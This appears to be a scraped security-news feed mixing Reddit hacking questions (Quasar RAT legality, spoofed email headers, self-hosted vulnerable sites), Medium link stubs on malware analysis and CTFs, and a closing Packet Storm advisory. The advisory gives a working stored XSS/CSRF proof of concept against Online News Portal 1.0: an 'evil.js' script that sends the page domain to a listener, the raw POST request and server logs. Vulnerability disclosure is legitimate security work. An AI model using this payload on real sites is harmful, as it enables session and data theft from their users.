hacking: security in practice
Emerging Domains

I wanted to round up some areas of emerging opportunity. The traditional areas of hacking revolve around the network and operating system, web applications, and software language specific exploits.

A long and glorious career can be devoted to focusing on any one of these, or by tackling each until one has a great breadth and depth.

But new opportunity for infosec can be found in the following areas:

1.
Cloud security

* persistence in an immutable and ephemeral environment?
* configuration screw ups

2.
Open source security

* poison deep transitive dependencies that wind up in ops
* identify dependency vulnerabilities that can be exploited

3.
Machine learning security

* what are the vulnerabilities of a machine learning model?
* apply ML to different infosec problems

4.
Container security

* Tiny OS hacking
* similar to open source dependency, what one might call supply chain attacks
* kubernetes configuration screw ups

5.
IoT/mobile

* drones
* robots
* cars
* phones
* thermostats

6.
Cryptocurrency

* look up a couple blogs about ethereum and the dark forest, and the maker dao hack; see the world of smart contract hacking
What else?

submitted by /u/Delicious_Context_53
[link] [comments]

hacking: security in practice
RAT usage

Hi there! I want to up my knowledge of things like rats in order to sort of protect myself better on the internet etc.

Now I have a question. Is the usage of quasar illegal? Or is it legal if I use it on VM’s for testing?

Let me just assure you all. I have literally NO plans of using anything like this for illegal activities. I don’t condone it and I’d screw up even if I tried. I 100% want to use it personally for virtual machine usage or on family members systems assuming they give me full permission.

Would it be illegal for me to use this software? Or as long as I use it legally. Will I be fine to access the software whenever I want for testing on virtual machines?

submitted by /u/Pear-Emergency
[link] [comments]

vulnerable websites to self host
https://www.reddit.com/r/Pentesting/comments/m8zmb7/vulnerable_websites_to_self_host/

<!-- SC_OFF -->Hi people, I would like to host my own vulnerable website in a docker container, is there a site i can download bad websites for testing <!-- SC_ON --> submitted by /u/TechAus117 (https://www.reddit.com/user/TechAus117)
[link] (https://www.reddit.com/r/Pentesting/comments/m8zmb7/vulnerable_websites_to_self_host/) [comments] (https://www.reddit.com/r/Pentesting/comments/m8zmb7/vulnerable_websites_to_self_host/)

Hacking on Medium
Win32.Infostealer.Dexter Malware Analysis-WriteUp

https://cdn-images-1.medium.com/max/600/1*YqPQgDwOyp66i6qhb-EmgQ.jpeg
Win32.Infostealer.Dexter is part of a family of malware which are banking malware, stealing credentials such as passwords, credit card…

Continue reading on Medium »

Hacking on Medium
Hacker101 CTF — Micro-CMS v1

https://cdn-images-1.medium.com/max/600/0*g4Tn-1YYol8xFshA
Difficulty: Easy

Continue reading on Medium »

Hacking on Medium
Difficulty: Very Easy

https://cdn-images-1.medium.com/max/601/0*o3o-nEN66rEcrS9J
Link: Hacker101 CTF

Continue reading on Medium »

Hacking on Medium
How to hack wifi password with android and computer?

https://cdn-images-1.medium.com/max/2600/1*YL2Mww4wqQiJCa3CzbWgLw.jpeg
March 07, 2021

Continue reading on Medium »

Sending an Email with blank Header Address and SMTP Address
https://www.reddit.com/r/Pentesting/comments/m90r2d/sending_an_email_with_blank_header_address_and/

<!-- SC_OFF -->Anyone know any tools to send emails that can make either the header and/or the smtp address blank? <!-- SC_ON --> submitted by /u/Ok_Dragonfruit_3379 (https://www.reddit.com/user/Ok_Dragonfruit_3379)
[link] (https://www.reddit.com/r/Pentesting/comments/m90r2d/sending_an_email_with_blank_header_address_and/) [comments] (https://www.reddit.com/r/Pentesting/comments/m90r2d/sending_an_email_with_blank_header_address_and/)

hacking: security in practice
How do I become unhittable?

I’ve been having problems with hackers booting me offline, and grabbing my iP and personal information. Moving forward, what is the best possible software and/ or firewalls I can have in order to prevent being fucked with on the internet?

submitted by /u/jdankks
[link] [comments]

hacking: security in practice
will you get sued if you hack some company

will you get sued if you hack some company and then tell them their vulnabilities?

submitted by /u/PyBind
[link] [comments]

Kali Linux Tutorials
Turbo Intruder : A Burp Suite Extension For Sending Large Numbers

Turbo Intruder is a Burp Suite extension for sending large numbers of HTTP requests and analyzing the results. It’s intended to complement Burp Intruder by handling attacks that require exceptional speed, duration, or complexity. The following features set it apart: Fast – Turbo Intruder uses a HTTP stack hand-coded from scratch with speed in mind. […]

The post Turbo Intruder : A Burp Suite Extension For Sending Large Numbers appeared first on Kali Linux Tutorials.

Hacking on Medium
how to make an ultra-long-range wifi antenna

https://cdn-images-1.medium.com/max/1280/0*x9HzKuazM1a_TKgv.jpg
If you’re the red team pentester it's always useful to carry an ultra-long-range wifi antenna. which has high gain as well as high…

Continue reading on Medium »

Hacking on Medium
Vim/Neovim — Managing Multiple Project Settings

https://cdn-images-1.medium.com/max/1920/1*i4LQn4PuW0Qju_jdUV5Z_Q.png
Managing project-specific settings for Vim/Neovim projects.

Continue reading on Medium »

Exploit Collector
Online News Portal 1.0 Cross Site Request Forgery / Cross Site Scripting

https://2.bp.blogspot.com/-DNFQNR6e8p4/WWlvIe_2SVI/AAAAAAAAILs/sd08rXaHefk0y1DdsYY6dPeiz0i718ntQCLcBGAs/s1600/h143.png
Online News Portal version 1.0 suffers from cross site request forgery and cross site scripting vulnerabilities.

MD5 | be06871e9ab8b5a97156d14ca9f143a3

Download
# Exploit Title: Online News Portal | Stored XSS + CSRF Example
# Exploit Author: Richard Jones
# Date: 2021-03-18
# Vendor Homepage: https://www.sourcecodester.com/php/14741/online-news-portal-using-phpmysqli-free-download-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14741&title=Online+News+Portal+using+PHP%2FMySQLi+with+Source+Code+Free+Download
# Version: 1.0
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34

Steps.

1. Create a "evil.js" file with the below contents
----------------------------------------------------------------------------------------
var x = new XMLHttpRequest();
x.open("GET", "//127.0.0.1:8081/?c="+document.domain);
x.send();
----------------------------------------------------------------------------------------
2. Host the file locally. python3 -m http.server 8081
3. Goto http://127.0.0.1/pos_inv/index.php, login as a supplier (supplier/supplier)
4. Add product ..
----------------------------------------------------------------------------------------
Name:
Catagory: Laptops
Price: 1
Quantity: 1
Photo: None
----------------------------------------------------------------------------------------
POST /pos_inv/supplier/edit_product.php?id=28 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------29152014675220535253532605082
Content-Length: 744
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/pos_inv/supplier/
Cookie: PHPSESSID=cb9r4bs1p4mqmt98nd4o3mtavm
Upgrade-Insecure-Requests: 1

-----------------------------29152014675220535253532605082
Content-Disposition: form-data; name="name"
-----------------------------29152014675220535253532605082
Content-Disposition: form-data; name="category"

1
-----------------------------29152014675220535253532605082
Content-Disposition: form-data; name="price"

1
-----------------------------29152014675220535253532605082
Content-Disposition: form-data; name="qty"

1
-----------------------------29152014675220535253532605082
Content-Disposition: form-data; name="image"; filename=""
Content-Type: application/octet-stream
-----------------------------29152014675220535253532605082--

----------------------------------------------------------------------------------------
5. Click Update
6. Recieve CSRF

#Python server
127.0.0.1 - - [18/Mar/2021 13:59:46] "GET /evil.js HTTP/1.1" 304 -
127.0.0.1 - - [18/Mar/2021 13:59:46] "GET /?c=127.0.0.1 HTTP/1.1" 200 -

Source:packetstormsecurity.com